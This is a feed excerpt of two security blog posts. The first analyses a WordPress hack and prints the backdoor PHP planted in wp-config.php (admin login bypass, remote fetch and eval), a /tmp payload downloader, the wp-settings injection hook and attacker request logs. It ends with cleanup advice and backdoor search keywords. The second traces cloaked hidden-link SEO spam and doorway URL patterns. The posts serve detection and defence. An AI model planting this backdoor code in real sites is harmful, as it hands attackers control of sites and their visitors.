curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
$shell = curl_exec($ch);<br />
curl_close($ch);<br />
$tmp = md5(rand(0,10000));<br />
$f = fopen($tmp.'.php',"w");<br />
fputs($f,$shell);<br />
fclose($f);<br />
header("Location: $tmp.php");<br />
}<br />
?&gt;</code></p>
<h3 id="wp-config">wp-config.php</h3>
<p>This is the first WordPress hack where I see a backdoor code injected into the <strong>wp-config.php</strong> file. It may be difficult to spot it. Hackers use the same trick that we usually see in tainted <strong>.htaccess</strong> files: at the very bottom of  <strong>wp-config.php</strong> they add a couple of thousand blank lines, then the following code and then another couple of thousand blank lines.</p>
<p><code>if (isset($_GET['pingnow'])&amp;&amp; isset($_GET['pass'])){<br />
if ($_GET['pass'] == 'd67d8ab4f4c10bf22aa353e27879133c'){<br />
if ($_GET['pingnow']== '<strong>login</strong>'){<br />
$user_login = '<strong>admin</strong>';<br />
$user = get_userdatabylogin($user_login);<br />
$user_id = $user-&gt;ID;<br />
<strong>wp_set_current_user</strong>($user_id, $user_login);<br />
<strong>wp_set_auth_cookie</strong>($user_id);<br />
<strong>do_action('wp_login', $user_login);</strong><br />
}<br />
if (($_GET['pingnow']== '<strong>exec</strong>')&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
$fnm = md5(rand(0,100)).'.php';<br />
$fp = fopen($fnm, "w");<br />
curl_setopt($ch, CURLOPT_FILE, $fp);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
curl_exec($ch);<br />
curl_close($ch);<br />
fclose($fp);<br />
echo "&lt;SCRIPT LANGUAGE=\"JavaScript\"&gt;<strong>location.href='$fnm';</strong>&lt;/SCRIPT&gt;";<br />
}<br />
if (($_GET['pingnow']== '<strong>eval</strong>')&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
$re = curl_exec($ch);<br />
curl_close($ch);<br />
<strong>eval($re);</strong><br />
}}}</code></p>
<p>Here you can see three main actions that can be completed using this backdoor code:</p>
<ol>
<li>Log into your WordPress blog as admin (<span style="color: #993300;">pingnow=login</span>)</li>
<li>Copy a remote file to your server and open it in a browser (<span style="color: #993300;">pingnow=exec</span>)</li>
<li>Execute a php code from a remote file (<span style="color: #993300;">pingnow=eval</span>)</li>
</ol>
<p>Here are typical requests to that backdoor in <strong>wp-config.php</strong></p>
<p><code>91.196.216.20 - - [04/Nov/2011:06:47:24 -0600] "GET /?pingnow=<strong>eval</strong>&amp;file=hxxp://<strong>91.196.216.20/collect/ping.txt</strong>&amp;pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"<br />
91.196.216.20 - - [04/Nov/2011:06:47:26 -0600] "GET /?pingnow=<strong>eval</strong>&amp;file=hxxp://<strong>91.196.216.20/collect/parse.txt</strong>&amp;pass=d67d8ab4f4c10bf22aa353e27879133c&amp;key=inurl%3Aajaxfilemanager+jnq HTTP/1.1" 200 981 "-" "-"<br />
91.196.216.20 - - [04/Nov/2011:06:49:41 -0600] "GET /?pingnow=<strong>eval</strong>&amp;file=hxxp://<strong>91.196.216.20/tt.php</strong>&amp;pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"</code></p>
<p>GET requests to backdoors? Hmm&#8230;</p>
<p>Note that requests come form the IP address <span style="color: #993300;"><strong>91 .196 .216 .20</strong></span>. Remote files also reside on that server. This IP is already known for other WordPress hacks that used the TimThumb vulnerability.</p>
<h4 id="ping">Ping</h4>
<p>The first request evaluates code from the remote <strong>/collect/ping.txt</strong> file. Basically it should only print the &#8220;&#8216;okey&#8217;&#8221; message &#8212; this means the backdoor code is still there.</p>
<h4 id="google_search">Distributed Google search</h4>
<p>The <strong>/collect/parse.txt</strong> request is more interesting. Here&#8217;s the PHP code of parse.txt.</p>
<p><code>$key = trim($_GET['key']);<br />
for($i=0;$i&lt;10;$i++){<br />
$st = $i *  100;<br />
$url = 'http://www.google.com/search?q='. urlencode($key).'&amp;num=100&amp;start='.$st;<br />
echo "$url\n";<br />
$ch = curl_init();<br />
curl_setopt($ch, CURLOPT_URL, $url);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);<br />
$head = curl_exec($ch);<br />
curl_close($ch);<br />
preg_match_all('/href=(\'|\")http:\/\/(\S*)(\"|\')/', $head, $page_links, PREG_PATTERN_ORDER);<br />
$res = $page_links[2];<br />
foreach($res as $itogo){<br />
if (strpos($itogo, 'google') === false) {echo "http://$itogo\n";}<br />
}<br />
}<br />
exit();</code></p>
<p>These requests conduct Google searches and display up to <strong>1,000</strong> search results.  In the above logs, they searched for [<span style="color: #000080;">inurl:ajaxfilemanager jnq</span>]. That search can return links to websites that have an exploitable ajaxfilemanager vulnerability.</p>
<p>So why do they search using hacked sites? The answer is they need thousands of results for hundreds of searches (Google dorks). This amount of search results can only be retrieved using automated tools. But Google forbids automated requests and usually blocks offending IPs after a few dozens of such requests. The workaround is to search from multiple IPs (distributed search). So if they have access to compromised sited on <strong>1,000</strong> of unique servers and each IP can be (temporarily) blocked after say <strong>10</strong> queries (usually more) then hackers can expect to retrieve up to a <strong>million</strong> search results every days.</p>
<h4 id="wp_inc">/tmp/wp_inc</h4>
<p>Now the main <strong>tt.php</strong> request:</p>
<p><code>$ch = curl_init();<br />
curl_setopt($ch, CURLOPT_URL, 'hxxp://<strong>91 .196 .216 .20/eu_deb</strong>');<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch,CURLOPT_TIMEOUT, 5);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);<br />
$z = curl_exec($ch);<br />
curl_close($ch);<br />
$t = <strong>sys_get_temp_dir</strong>();<br />
$f = fopen($t.'/<strong>wp_inc</strong>',"w");<br />
fputs($f,$z);<br />
fclose($f);<br />
if (file_exists($t.'/<strong>wp_inc</strong>'))<br />
{<br />
echo ('test');<br />
}<br />
exit();</code></p>
<p>This code downloads the <span style="color: #993300;">hxxp://91 .196 .216 .20/eu_deb</span> file and copies its content into the <strong>wp_inc</strong> file in the system&#8217;s temporary directory (usually <strong>/tmp</strong>).</p>
<p>During this past weekend, the <span style="color: #993300;">eu_deb</span> file contained the malicious &#8220;<em><span style="color: #993300;">eval(function(p,a,c,k,e,d)&#8230;</span></em>&#8221; script. Then its content changed. Right now I can see an HTML code with a hidden link to a doorway on another hacked WordPress blog:</p>
<p><code>&lt;form method="post" action="?" style="overflow: auto; width: <strong>5pt</strong>; height: <strong>1pt</strong>; position: absolute; <strong>display:none</strong>"&gt;&lt;A HREF="hxxp://businessactionforafrica .org/?<strong>kids</strong>" TARGET="_self"&gt;kids clothes&lt;/A&gt;&lt;/form&gt;</code></p>
<p>As you can see, the <strong>tt.php</strong> requests to the backdoor code updates the injected malicious content. This is how hackers changed the script on infected blogs and this is why most of the infected blogs became &#8220;clean&#8221; overnight without any action taken by their webmasters (hackers just replaced the malicious script with  the spammy link).</p>
<h3 id="wp-settings">wp-settings.php</h3>
<p>OK, the malicious content is in the<span style="color: #993300;"> /tmp/wp_inc</span> file. But how does it make it into WordPress pages? To do it, hackers modify the <strong>wp-settings.php</strong> file where they add the following code:</p>
<p><code>function check_wordpress(){<br />
$t_d = sys_get_temp_dir();<br />
if(file_exists($t_d . '/<strong>wp_inc</strong>')){<br />
readfile($t_d . '/<strong>wp_inc</strong>');<br />
}<br />
}<br />
add_action('<strong>wp_head</strong>', 'check_wordpress');</code></p>
<p>You can see the rogue &#8220;<strong>check_wordpress</strong>&#8221; function that loads the content of the <span style="color: #993300;">/tmp/wp_inc</span> file. It is &#8220;hooked&#8221; to the &#8220;<strong>wp_head</strong>&#8221; action. In other words, this function is executed every time when WordPress builds the header part of WordPress pages.</p>
<h3 id="webmasters">To Webmasters</h3>
<h3 id="detect">Detect</h3>
<p>Most of you will only detect this problem when Google blacklists your site. Check the diagnostic page. If Google mentions &#8220;<span style="color: #993300;"><strong>nl.ai</strong></span>&#8221; as the source of the problem then the chances are it&#8217;s the infection covered in this post. Keep on reading.</p>
<p>Now that the attackers replaced the injected code with some spammy links, Google will no longer flag your site for malware. So you still need to be able to figure out whether your blog is compromised or not.</p>
<p>Begin with checking integrity of your WordPress files. Check <strong>wp-config.php</strong> and <strong>wp-settings.php</strong> for the above mentioned malicious code (<a href="#wp-config">1</a> and <a href="#wp-settings">2</a>).</p>
<p>You can also scan your raw access logs for requests from &#8220;<strong><span style="color: #993300;">91 .196 .216 .20</span></strong>&#8221; and requests that contain the following strings: &#8220;<span style="color: #993300;"><em>pingnow=eval</em></span>&#8220;, &#8220;<span style="color: #993300;"><em>tt.php</em></span>&#8220;.</p>
<h4 id="cleanup">Clean up</h4>
<p>Remove the malicious code from <a href="#wp-config">wp-config.php</a> and <a href="#wp-settings">wp-settings.php</a>. In case of wp-settings.php, it may be easier to replace it with the file from the official WordPress package. For example, here you can get the official wp-settings.php for WordPress 3.2.1 <a href="http://core.svn.wordpress.org/tags/3.2.1/wp-settings.php">http://core.svn.wordpress.org/tags/3.2.1/wp-settings.php</a>. For other versions, select the appropriate tag (version) here: <a href="http://core.svn.wordpress.org/tags/">http://core.svn.wordpress.org/tags/</a>.</p>
<h4 id="prevent">Prevent reinfections</h4>
<p>1. Remove the backdoor code from <strong>wp-config.php</strong> if you haven&#8217;t done it yet. Hackers have full control over your site while it is there.</p>
<p>2. Find and upgrade all themes and plugins that use vulnerable versions of <strong>timthumb.php</strong> (1.x). If there are no official upgrades, consider replacing timthumb.php with the latest version:  <a href="http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php">http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php</a></p>
<p>3. Find and delete all backdoor files that hackers might have uploaded to your site.</p>
<p>3.1 You might want to completely delete <strong>wp-admin</strong> and <strong>wp-includes</strong> directories and then restore them from the official WordPress package.</p>
<p>3.2 Compare all files of WordPress <strong>themes</strong> and <strong>plugins</strong> with their genuine copies provided by their vendors.</p>
<p>3.3 Check what&#8217;s inside the <strong>./cache</strong> directories next to <strong>timthumb.php</strong> files. This is the first location where attackers upload files using the timthumb security hole (of course, those files might be no longer there). Normally, there should be no <strong>.php</strong> files there.</p>
<p>3.4. Check other directories under <strong>wp-content</strong>. There should be no .<strong>php</strong> files below the <strong>uploads</strong> directory.</p>
<p>3.5 Search for the backdoor file I <a href="#backdoors">mentioned</a> in the beginning of this post.</p>
<p>3.6 Scan all files on server for the keywords that can be usually found inside backdoors.</p>
<ul>
<li><span style="color: #993300;">eval(base64_decode</span></li>
<li><span style="color: #993300;">gzuncompress</span></li>
<li><span style="color: #993300;">gzinflate</span></li>
<li><span style="color: #993300;">eval(stripslashes</span></li>
<li><span style="color: #993300;">edoced_46esab</span></li>
<li><span style="color: #993300;">FilesMan</span></li>
</ul>
<p>This is not a complete list. There are many elaborate backdoors that you won&#8217;t find using these searches, but they can help you find more than 80% of backdoors that I regularly come across.</p>
<p><strong>Note</strong>, some of these searches will also return perfectly legitimate files. You&#8217;ll have to verify the legitimacy of the found files yourself.</p>
<p>3.7 Scan logs for suspicious requests. It is usually enough to only check POST requests. In WordPress, every POST request to a <strong>.php</strong> file should be immediately suspicious. The only exceptions are</p>
<ul>
<li>requests WordPress admin interface from your IP address (or addresses of legitimate WordPress users)</li>
<li>requests to <em>wp-cron.php</em> from your server&#8217;s IP address</li>
<li>requests to <em>wp-comments-post.php</em> (readers that post comments)</li>
<li>requests to <em>xmlrpc.php</em>.</li>
</ul>
<p><strong>Call for data:</strong> If your blog was affected by this hack and you have raw logs for the whole November (a couple of the last months of raw logs even better), I would like to <a href="http://blog.unmaskparasites.com/contact/">hear from you</a>. Your logs can help me reconstruct the attack from the very beginning. Thanks for collaboration!</p>
<p>4. Block the &#8220;<span style="color: #993300;">91 .196 .216 .20</span>&#8221; IP address. For example, you can manually add something like this to your topmost <strong>.htaccess</strong> file</p>
<p><code>order allow,deny<br />
deny from 91.196.216.20<br />
allow from all</code></p>
<p>Or you can do it via your host&#8217;s Control Panel.</p>
<p>5. Consider disabling execution of <strong>.php</strong> files in directories where there shouldn&#8217;t be any executable files. E.g. <strong>wp-content/uploads/</strong> or any <strong>images/</strong> directories.</p>
<p>6. If your WordPress administrator&#8217;s user name is &#8220;<strong>admin</strong>&#8220;, create a new user with the administrator role and remove the &#8220;<strong>admin</strong>&#8221; user.</p>
<p>Change passwords of the rest WordPress users. Consider changing MySql password too.</p>
<p>7. Upgrade WordPress to the latest version. The older WordPress you use the more security holes it has.</p>
<h3 id="summary">Summary</h3>
<p>This was a long technical post. But I hope it was worth it to delve into all those details. It is not your typical WordPress hack. Here we can find many new and uncommon tricks and techniques. They may be a little naive and not as efficient as the tricks that we&#8217;ve seen before, but at least I can see some creativity here.</p>
<p>I guess, the buzz around the TimThumb vulnerability helped some new players realize how easy it was to enter the web site hack arena. Imagine that you know that millions of WordPress blogs have this security hole. You only need to hire a PHP developer with some basic knowledge of WordPress who can create a scanner (to find vulnerable blogs), some backdoor scripts and a way to automate the process.  That PHP developer probably didn&#8217;t have access to common exploit tools and had to <em>reinvent the wheel</em>. That&#8217;s why we see so many new tricks.</p>
<p>By the way, here&#8217;s my list of what&#8217;s uncommon in this attack:</p>
<ol>
<li>Backdoor code in <strong>wp-config.php</strong></li>
<li>Malicious PHP code is not obfuscated. In all files.</li>
<li>Backdoor code in <strong>wp-config.php</strong> is placed after a couple of thousand blank lines (the trick I previously saw in .htaccess files only)</li>
<li>Using WordPress hooks in <strong>wp-settings.php</strong> instead on injecting the code directly into theme files (will survive a theme change, but won&#8217;t survive a WordPress upgrade)</li>
<li>Using backdoor code to bypass WordPress admin authentication.</li>
<li>GET requests to backdoors.</li>
<li>Injecting malicious content from a file in a system&#8217;s temporary directory (<strong>/tmp</strong>). (You only need one backdoor per server to change the injected code on multiple hacked blogs)</li>
<li>Using backdoors on compromised sites to conduct <strong>distributed Google searches</strong>.</li>
<li>Changing the injected content from malicious scripts to spammy links.</li>
<li>Hiding links inside an invisible form.</li>
<li>Placing hidden link inside the &lt;<strong>head</strong>&gt; section</li>
</ol>
<p>##</p>
<p>Your comments and additional information on this hack are welcome!</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/24/hackers-target-unpatched-wooframework/">Hackers target unpatched WooFramework</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">Hacked WordPress Blogs Poison Google Images</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/">Versatile .CC Attacks</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Following the Black Hat SEO Traces</title>
		<link>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 13:17:11 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backlinks]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[MajesticSEO]]></category>
		<category><![CDATA[rankexplorer]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Yahoo Site Explorer]]></category>
		<category><![CDATA[Zen Cart]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=837</guid>
		<description><![CDATA[This is a follow up to my last week&#8217;s post about hacked WordPress blogs and poisoned Google Images search results. Cyber-criminals infiltrated 4,000+ self-hosted WP blogs and created doorway pages that would redirect visitors coming from Google Images search to scareware sites. A few days ago I posted a short update to let you know [...]]]></description>
			<content:encoded><![CDATA[<p>This is a follow up to my last week&#8217;s post about <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">hacked WordPress blogs and poisoned Google Images search results</a>. Cyber-criminals infiltrated 4,000+ self-hosted WP blogs and created doorway pages that would redirect visitors coming from Google Images search to scareware sites. A few days ago I posted a <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#update2">short update</a> to let you know that Google has removed the doorway pages from its index. I also promised to share some new interesting details about that black hat SEO campaign. So here we go!<br />
<span id="more-837"></span></p>
<h3 id="cloaked">Cloaked links</h3>
<p>To have Google discover and index rogue doorway pages, the attackers needed to place links on web pages that Google already knows about and regularly crawls.  One of the popular approaches is to <a href="http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/#links">create free websites  and post links there</a> (there are many services that allow to do it). However, in this particular case I couldn&#8217;t find such external links.</p>
<p>Then I checked cached versions of legitimate web pages on the hacked sites and found the following code right before the closing &lt;/body&gt; tag.</p>
<p><code>&lt;style&gt;#<strong>alkg</strong> {position:absolute;overflow:auto;<strong>height</strong>:<strong>0</strong>;<strong>width</strong>:<strong>0</strong>;}&lt;/style&gt;&lt;font id="<strong>alkg</strong>"&gt;&lt;a href="http://example.com/?ccc=niger-culture-picture"&gt;niger culture picture&lt;/a&gt;&lt;br /&gt;...&lt;a href="http://example.com/?ccc=eric-ogbogu-picture"&gt;eric ogbogu picture&lt;/a&gt;&lt;br /&gt;&lt;a href="http://rankexplorer.com"&gt;Poker Software&lt;/a&gt;&lt;/font&gt;</code></p>
<p>The code cannot be found if you open the same web page in a browser. This means that hackers used cloaking to feed these links to search engine spiders only.</p>
<p>This code defines an <em>invisible</em> style (height:0; width:0) and then lists dozens to hundreds of links to doorway pages on that site inside the &lt;font&gt; block that has that invisible style. The name of that style is a random combination of four letters and it changes from site to site.</p>
<p>This trick prevents webmasters form seeing the spammy links when they check cached web pages (of course, unless they scrutinize the HTML code) and at the same time provides links that don&#8217;t look like invisible to Googlebot (I guess Google is well aware of such tricks though ;-) ).</p>
<p>The placement of this spammy code makes me think that hackers injected it into the <em>footer.php</em> file of the blogs&#8217; themes. Most likely the actual code is encrypted (e.g. with the <strong>base64_decode</strong> or some other obfuscation trick) so check the code right before the &lt;/body&gt; tag.</p>
<h3 id="anomaly">SEO Anomaly</h3>
<p>I noticed one interesting thing. Every link block on every hacked site has a link to <span style="color: #993300;"><em>rankexplorer .com</em></span>. The anchor text is always the same: <em>Poker Software</em>.</p>
<p>The domain was registered on <em>February 21st, 2011</em> and already has PageRank <strong>5</strong>. That was very suspicious. Only very popular sites can get PR5 in such a short time. So I decided to check who linked to the <em>rankexplorer</em> site and how seriously those links on the hacked sites contribute to this rapid progress.</p>
<h3 id="yse">Yahoo Site Explorer</h3>
<p>First, I checked external backlinks using <a href="http://siteexplorer.search.yahoo.com/search?p=rankexplorer.com&amp;bwm=i&amp;bwmo=d&amp;bwmf=s" target="_blank">Yahoo Site Explorer</a>:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/yahoo-site-explorer.gif" border="0" alt="Yahoo Site Explorer" /></div>
<p>The report says there are <strong>1,858,186</strong> external links to <strong>7</strong> pages on this site. Impressive!</p>
<p>It was clear that sites at the top of the list were hacked. But it was not clear how many of those <strong>1,800,000+</strong> links are from hacked sites and if there are many (or rather any) legitimate links. Moreover, YSE doesn&#8217;t distinguish &#8220;doFollow&#8221; and &#8220;noFollow&#8221; links so it&#8217;s hard to use this report to tell which links actually contribute to the high PageRank. (For example, there can be many &#8220;noFollow&#8221; links from spammy blog comments and forum posts).</p>
<h3 id="majesticseo">MajesticSEO Site Explorer</h3>
<p>So the next step was a more thorough investigation using <a href="https://www.majesticseo.com/">MajesticSEO Site Explorer</a>. MajesticSEO maintains quite a fresh index (updated 2-3 times a day) and its size is comparable to that of Yahoo (they <a href="http://blog.majesticseo.com/general/yahoo-site-explorer-is-dead-long-live-majestic-site-explorer/" target="_blank">claim</a> that only Google has a larger index). What&#8217;s more important, they provide various backlink reports that allow to easily spot interesting patterns and anomalies.</p>
<p>Lets begin with the <a href="https://www.majesticseo.com/reports/site-explorer/summary/rankexplorer.com?IndexDataSource=F" target="_blank">Domain Information report</a>:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/domain-information.gif" border="0" alt="Domain Information" /></div>
<p>Well, the number of external links here is significantly smaller than in Yahoo Site Explorer. But we should not forget that this is a &#8220;<em>fresh index</em>&#8221; and we deal with hacked sites that get cleaned up once their webmasters notice the hack.</p>
<p>The useful information here is:</p>
<ul>
<li>very few link are &#8220;NoFollow&#8221; &#8211; <strong>0.3</strong>% (so the comment and forum spam is not the case)</li>
<li>quite a few deleted links &#8211; (webmasters remove spammy links from hacked sites)</li>
<li>domains/links ratio suggests that multiple pages of the same site link to <span style="color: #993300;"><em>rankexplorer</em></span> &#8212; quite typical for spammy links.</li>
<li>most of the linking sites reside on different servers and even on different subnetworks  &#8211; (they are not just from one hacked server).</li>
</ul>
<p>The same report has a &#8220;Referring Domains&#8221; history graph</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/reffering-domains-graph.jpg" border="0" alt="Reffering domains graph" /></div>
<p>You can see a spike on July 20th. This matches the <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#timestamps">beginning</a> of the black hat SEO campaign.</p>
<p>The &#8220;Top Pages&#8221; report shows that <strong>all</strong> external links point to the home page only. That&#8217;s not typical even for a small site with so many backlinks.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/top-pages.png" border="0" alt="Top Pages" /></div>
<p>The most revealing data can be found in the Top Backlinks report. It provides a list of up to 2,500 referring URLs (Majestic Silver plan) in order of their significance for SEO along with the anchor text (!) of the backlinks.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/top-backlinks.png" border="0" alt="Top Backlinks" /></div>
<p>Main insights:</p>
<ul>
<li>Out of <strong>2,500</strong> backlinks , <strong>2,426</strong> (97%) have the &#8220;<em>poker software</em>&#8221; anchor text &#8211; (This anchor text is used on hacked sites)</li>
<li><strong>60</strong> backlinks (2.4%) have the &#8220;<em>poker statistics</em>&#8221; anchor text. They are hidden links on a few supposedly hacked sites (different attack though). The spammy code look like this:<br />
<span style="color: #993300;">&lt;div style=&#8221;<strong>display:none</strong>&#8220;&gt;&lt;li&gt;&lt;a href=&#8221;hxxp://<strong>rankexplorer .com</strong>&#8220;&gt;Poker Statistics&lt;/a&gt;&lt;/li&gt;&lt;/div&gt;</span></li>
<li>The rest 13 links can be easily neglected.
<ul>
<li>One of them comes from Baidu search results (why does MajesticSEO index Baidu SERPs?!)</li>
<li>Six &#8220;<em>software de poker</em>&#8221; and &#8220;&#8221;<em>poker mjukvara</em>&#8220;&#8221; are from a hacked site that uses some sort of auto-translation that translated all spammy links into Spanish and Swedish ;-)</li>
</ul>
</li>
</ul>
<p>And finally, the &#8220;Referring Domains&#8221; report shows that most of the domains can also be found in my list of WordPress sites affected by <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">this black hat SEO attack</a>.</p>
<p>So the backlink analisys clearly shows that the <span style="color: #993300;"><em>rankexplorer .com</em></span> owes its high PageRank <em><strong>exclusively</strong></em> to black hat techniques.</p>
<h3 id="effects">PageRank vs real SERP positions</h3>
<p>Was it worth the effort for <em><span style="color: #993300;">rankexplorer</span></em>? Not that much. If we search for [<span style="color: #333399;">poker software</span>] or even for [<span style="color: #333399;">"poker software"</span>] on all major search engines, the <span style="color: #993300;"><em>rankexplorer</em></span> is nowhere near the top. The top two Google search results for this query currently link to sites with PageRank <strong>4</strong>, and #3 has PR<strong>3</strong>! As Matt Cutts always says: PageRank is only one of many factors that affect site position in search results.</p>
<p>So were all the spammers&#8217; efforts futile? Not exactly. For some queries (I won&#8217;t call them popular) you can find the <em><span style="color: #993300;">rankexplorer</span></em> on the first page of search results. Currently it is <strong>#4</strong> for the <span style="color: #333399;">["poker statistics analyzer"</span>] query.</p>
<p>Interesting sidenote. Out of all major search enignes, Baidu (#1 search engine in China!) is the most susceptible to the <span style="color: #993300;"><em>rankexplorer</em></span>&#8217;s black hat SEO campaign:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/baidu.gif" border="0" alt="Baidu" /></div>
<h3 id="generation">Previous generation of this campaign</h3>
<p>The MajesticSEO&#8217;s reports helped me find some sites where the injected code and doorway pages were different than in the attack that I <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">described</a> last week. Moreover, some of the sites were not WordPress blogs. After some additional analysis, I figured out it was a previous generation of the same attack. Here are the details:</p>
<h4 id="links">Link blocks</h4>
<p>Checking cached versions (Google cache) of legitimate pages on the compromised sites, I found a familiar cloaked blocks of hidden  link that used the <strong>style/font</strong> trick:</p>
<p><code>&lt;style&gt;#<strong>xhxq</strong> {position:absolute;overflow:auto;<strong>height</strong>:<strong>0</strong>;<strong>width</strong>:<strong>0</strong>;}&lt;/style&gt;&lt;font id="<strong>xhxq</strong>"&gt;&lt;li&gt;&lt;a href="http://example.com/?olg=55680"&gt;80s movie posters&lt;/a&gt;&lt;/li&gt;<br />
<strong>...skipped..</strong><br />
&lt;a href="hxxp://<strong>rankexplorer .com</strong>"&gt;Poker Software&lt;/a&gt;<br />
<strong>...skipped..</strong><br />
&lt;li&gt;&lt;a href="http://www.example.org/?eea=go.php5"&gt;powered by smf best back up software&lt;/a&gt;&lt;/li&gt;&lt;/font&gt;</code></p>
<p>However, instead of linking to doorways on the same site, those blocks linked to doorways on multiple third party sites (usually about 50 unique sites in one block). And the <span style="color: #993300;"><em>rankexplorer</em></span> link was in the middle of the block this time.</p>
<p>This cross-linking scheme helped me identify <strong>700</strong>+ hacked sites. Most of them can be identified as<strong> WordPress</strong> blogs, <strong>Joomla</strong> sites and <strong>Zen Cart</strong> online stores.</p>
<h4 id="patterns">URL patterns</h4>
<p>The most common URL patterns of the doorway pages are:</p>
<p><span style="color: #993300;">example.com/[a-z]{3,4}=&lt;random&gt;.&lt;extension&gt;</span>, where <span style="color: #993300;">&lt;random&gt;</span> is a random combination of characters, digits and hyphens, and <span style="color: #993300;">&lt;extension&gt;</span> is a one of the popular file extensions of web pages (html|htm|shtml|php|php3|php4|php5|phtml|jsp|asp). The extension part can be missing.</p>
<p>Examples:</p>
<ul>
<li>example.co.uk/?mrx=zc-31.html</li>
<li>example.com/?jlq=bi5k5.phtml</li>
<li>example.de/?pce=9mlbqc.htm</li>
<li>example.eu/?tnj=57720.php3</li>
<li>example.cl/?slf=9283-upfy</li>
</ul>
<p>Another popular doorway URL pattern is <span style="color: #993300;">example.org/[a-z]{3}-&lt;keywords&gt;.&lt;extension&gt;</span>, where <span style="color: #993300;">&lt;keywords&gt;</span> are hyphen separated keywords targeted by the doorway page.</p>
<p>Examples:</p>
<ul>
<li>example.com/qlv-wallpapers-cowgirl-stock-photos.asp (note, this page is on a Linux server that has no ASP)</li>
<li>example.net/qxr-trail-of-tears-coloring-pages.php5</li>
<li>example.se/lck-multiplication-chart-1-500.html</li>
</ul>
<p>And the combination of the above two patterns: <span style="color: #993300;">example.net/[a-z]{3,4}=&lt;keywords&gt;.&lt;extension&gt;</span></p>
<ul>
<li>example.org/?jyw=make-your-own-art-online.php4</li>
<li>example.com/?liz=sample-1023-arts-organization.shtml</li>
<li>example.net/?klb=dem-mac-martial-arts.php</li>
<li>example.es/?jys=art-of-8000-bce-500-ce</li>
</ul>
<h4 id="chronology">Chronology of the attack</h4>
<p>Some of the websites have already been cleaned up. On such sites, I can only find the spammy content in 2-3 months&#8217; old cached copies, which proves that this attack was active around May 2011. We can find one more evidence of this in the MajesticSEO report for the notorious <span style="color: #993300;"><em>rankexplorer .com</em></span> site that uses its &#8220;<em>historic</em>&#8221; index.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/historic-index.png" border="0" alt="Historic index" /></div>
<p>This graph shows that MajesticSEO began to index links to <em><span style="color: #993300;">rankexplorer .com</span></em> (and we know they all come from hacked sites) in April. Then the was a peak in May (new indexed domains referencing <em><span style="color: #993300;">rankexplorer</span></em>). Almost <strong>0</strong> new domains in June and then another uptrend in July (which corresponds to the <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">attack against WordPress blogs</a> that I described last week)</p>
<h3 id="malicious">Still malicious</h3>
